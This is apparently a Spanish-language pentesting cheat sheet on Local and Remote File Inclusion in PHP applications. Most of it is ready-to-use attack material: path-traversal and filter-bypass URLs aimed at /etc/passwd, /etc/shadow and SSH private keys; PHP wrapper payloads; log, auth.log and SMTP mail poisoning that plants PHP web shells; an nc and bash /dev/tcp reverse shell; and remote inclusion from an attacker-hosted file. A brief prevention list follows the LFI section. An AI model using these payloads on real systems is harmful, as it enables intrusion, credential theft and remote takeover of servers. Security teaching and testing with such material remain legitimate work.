Local File Inclusion (LFI)

¿Qué es y cómo funciona?

Una vulnerabilidad de inclusión de archivos es un tipo de web vulnerabilidad que suele afectar a las aplicaciones web que dependen de un tiempo de ejecución de secuencias de comandos . Este problema se produce cuando una aplicación crea una ruta al código ejecutable utilizando una variable controlada por el atacante de una manera que le permite controlar qué archivo se ejecuta en tiempo de ejecución.

Vulnerable

Input por parte del usuario.

# file.php
<?php
$file = $_GET[‘filename’];
include($file)
?>
Example:
http://example.com/index.php?page=index.html

No vulnerable

No hay input por parte del usuario.

<?php
$file = “file.txt”;
include($file)
?>

Bypass sanitización

<?php
$file = $_GET[‘filename’];
include(“/var/www/html/“ . $file)
?>

Pero tampoco sirve por que podrías hacer un directory path traversal.

Check List

Directory Path Traversal

http://ejemplo.com/filename.php?file=../../../../../../..h/../etc/passwd

Archivos del sistema

Hay que revisar estos archivos si nos encontramos con un LFI, son archivos criticos los cuales se pueden sacar mucha información de la victima.

Archivo
Descripción

/etc/passwd

Tiene todos los usuarios registrados del sistema

/etc/shadow

Contiene información sobre las contraseñas de usuario del sistema

/etc/issue

Contiene un mensaje o identificación del sistema que se imprimirá antes de la solicitud de inicio de sesión.

/etc/profile

Controla las variables predeterminadas de todo el sistema, como las variables de exportación, la máscara de creación de archivos (umask), los tipos de terminales, los mensajes de correo para indicar cuándo ha llegado correo nuevo

/proc/version

Especifica la versión de kernel del sistem Linux

/proc/self/environ

Es un archivo virtual que contiene el entorno de ejecución actual del proceso. En particular, contiene una lista de variables de entorno separadas por NULL, donde cada variable se define como una cadena de la forma nombre=valor.

/proc/sched_debug

Podemos ver los demonios corriendo en la máquina victima los cuales podríamos abusar de ellos dependiendo de cual, por ejemplo puede haber un puerto que está corriendo por dentro pero cerrado desde fuera, por ejemplo podríamos hacer Port Knocking para que se abriera y abusar de él.

/var/log/apache2/access.log

Donde están los logs de acceso de apache, se podría realizar un Log Poisoning si se puede leer (LFI to RCE)

/var/mail/root

Está la bandeja de entrada del correo del usuario, si el puerto 25 (SMTP) está abierto se podría realizar un LFI to RCE.

/var/log/auth.log

Es el archivo que guarda los intentos de login al sistema, si esta el SSH abierto se podría hacer un LFI to RCE.

/root/.ssh/id_rsa

Es el archivo donde está guardada la key privada del usuario y si se roba se podría iniciar sesión como ese usuario

/root/.bash_history

Es el archivo donde se guarda el histórico de comandos del usuario

/proc/sched_debug

Puede contener credenciales del los usuarios

Cheat Sheet

http://example.com/index.php?page=../../../etc/passwd #LFI Básico
http://example.com/index.php?page=../../../etc/passwd%00 # null byte
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd # url-encode
http://example.com/index.php?page=..///////..////..//////etc/passwd # bypass filter
http://example.com/index.php?page=....//....//....//....//....//etc/passwd # bypass filter
http://example.com/index.php?page=….//….//….//….//etc/passwd # bypass filter
http://example.com/index.php?page=example/../../../../../etc/passwd # por si sanatizan con un directorio y después el archivo
http://example.com/index.php?page==../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[añadirmas]\.\. # Path Truncation
http://example.com/index.php?page=http://ex.com/index.php?page=../../../../[…]../../../../../etc/passwd # Path truncation

Wrappers

#Data
http://example.com/index.php?page=data://<ruta> #whoami
#Expect
http://example.com/index.php?page=expect://data:text/plain;,<?php echo shell_exec($_GET['cmd']);?>
#Filter
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
#Zip
http://example.com/index.php?page=zip://path/to/file.zip%23shell

ZIP

  1. Crea un .php file (rce.php)

  2. Comprimelo en un archiv .zip (file.zip)

  3. Subelo en la web vulnerable

  4. Active el RCE mediante:

http://example.com/index.php?page=zip://path/to/file.zip%23rce.php

No se puede leer un archivo php entonces vamos a utilizar base64 para conseguir el código y despues descodearlo para poder leer X archivo php

http://example.com/example.php?filename=php://filter/convert.base64-encode/resource=<archivo.php>
echo “<codigo base64>” | base64 -d

LFI to RCE

Para poder hacer un LFI (Local File Inclusion) to RCE (Remote Code Execution) es que de alguna manera (hay muchas maneras ahora las trataremos)hemos podido insertar un código en la máquina victima y ejecutando comandos remotamente.

Log Poisoning

En este caso lo estaremos haciendo con la ruta /var/log/apache2, el archivo access.log.

Mediante apache log

/var/log/httpd-access.log
/var/log/httpd/acces_log
/var/log/httpd/error_log
/var/log/apache2 --> acces.log,error.log etc
/var/log/apache/acces.log
/var/log/auth.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Mediante PHP

Set-Cookie: PHPSESSID=<cookie>; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Curl

curl <UserAgentcabezera> -H "User Agent: <?php system("whoami") ?>" # -H para cambiar la cabezera

Este proceso también se puede hacer con BurpSuite, pero en este caso lo haremos con curl.

BurpSuite

/proc/self/environ

Esto que se ve, se modificaría por ejemplo mediante curl o Burpsuite, modificando la cabezera d ela petición.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Auth.log

Normalmente está en la ruta /var/log/auth.log.

Cuando intentemos hacer login no necesitmaos tener contraseña, simplemente hacer el intento de login para que en el log que tenemos capacidad de lectura para ver que funciona con un "whoami", una vez eso hacemos la reverse shell. A veces peta cuando envías la Reverse Shell en formato normal, es recomendable codificarla en base64 para evitar problemas ya que a veces el sistema peta.

nc -e /bin/bash <IP> <Puerto> | base64
ssh ‘<?php system(“echo <base64 rs> | base64 -d | bash”); ?>’@<IP>

SMTP /var/mail/$user

Si hemos hecho un LFI y está el puerto 25 (SMTP) podemos intentar hacer un RCE yendo a la ruta /var/mail/usuario y ver si podemos ver la información de ese archivo es vulnerable.

Este proceso es preferible hacerlo mediante herramientas como curl, el ejemplo será con CURL.

La ruta del LFI se vería así:

curl -s http://example.com/file/to/LFI/file.php?ex=/var/mail/<user>

Lo que tendríamos que hacer conectarnos al puerto 25 o con telnet o nc.

Ejemplo

#Telnet
telnet <IP> 25
#nc
nc <IP> 25

Una vez conectados el procedimiento para enviar el código vulnerable al sistema victima, sería de la siguiente manera:

220 ejemplo.local ESMTP Postfix (Debian/GNU)
HELO j4ckie.com # le decimos al servidor que nombre de cliente tenemos para establecer conexión
250 ejemplo.local
MAIL FROM: j4ckie@j4ckie.com # Iniciar transferencia por mail
250 2.1.0 Ok
RCPT TO: <destinatario> # Especificar a quien le enviamos los datos
250 2.1.5 Ok
DATA # Enviamos los datos al destinatario
354 End data with <CR><LF>.<CR><LF> # esta linea nos dice que dejemos dos espacios y un . antes de darle al enter para enviar los datos
<?php system($_GET['cmd']); ?>


.
quit # salir 

Una vez hecho esto, vamos a la ruta de antes poniéndole &cmd=whoami y un | tail al final para ver las últimas lineas del archivo y ver si la RCE ha funcionado, está comanda nos debería ver el correo que acabamos de enviar con la respuesta del whoami.

curl -s http://example.com/file/to/LFI/file.php?ex=/var/mail/<user>&cmd=whoami | tail

Si la RCE a funcionado, ahora solamente deberíamos hacer una reverseshell y tener una shell del la máquina victima.

Ejemplo

curl -s http://example.com/file/to/LFI/file.php?ex=/var/mail/<user>&cmd=bash -c "bash -i >%26 /dev/tcp/<IP>/<Puerto> 0>%26"
# Reverse shell
bash -c "bash -i >%26 /dev/tcp/<IP>/<Puerto> 0>%26"
El %26 es --> & pero encodeado, a veces da errores y por eso lo pongo así.

Prevención

Como desarrollador es importante estar al tanto de las vulnerabilidades web, como encontrarlas y como prevenirlas. Aquí dejo unas sugerencias para evitar este tipo de vulnerabilidades.

  1. Mantenga el sistema y los servicios, incluidos los marcos de aplicaciones web, actualizados con la última versión.

  2. Desactive los errores de PHP para evitar filtrar la ruta de la aplicación y otra información potencialmente reveladora.

  3. Un firewall de aplicaciones web (WAF) es una buena opción para ayudar a mitigar los ataques de aplicaciones web.

  4. Deshabilite algunas características de PHP que provocan vulnerabilidades de inclusión de archivos si su aplicación web no las necesita, como allow_url_fopen on y allow_url_include .

  5. Analice cuidadosamente la aplicación web y permita solo los protocolos y contenedores de PHP que se necesitan.

  6. Nunca confíe en la entrada del usuario y asegúrese de implementar la validación de entrada adecuada contra la inclusión de archivos.

  7. Implemente listas blancas para nombres y ubicaciones de archivos, así como listas negras.

Remote File Inclusion (RFI)

Comando básico

http://example.com/index.php?page=http://maquinaatacante.com/malicioso.php
http://example.com/index.php?page=\\maquinaatacante.com\shared\malicioso.php

Para ello antes tenemos que abrirnos un servidor en nuestra máquina que alojará el malicioso.php y lo ejecutará remotamente el archivo.

python3 -m http.server 80 # tenemos que estar en la ruta del archivo

Last updated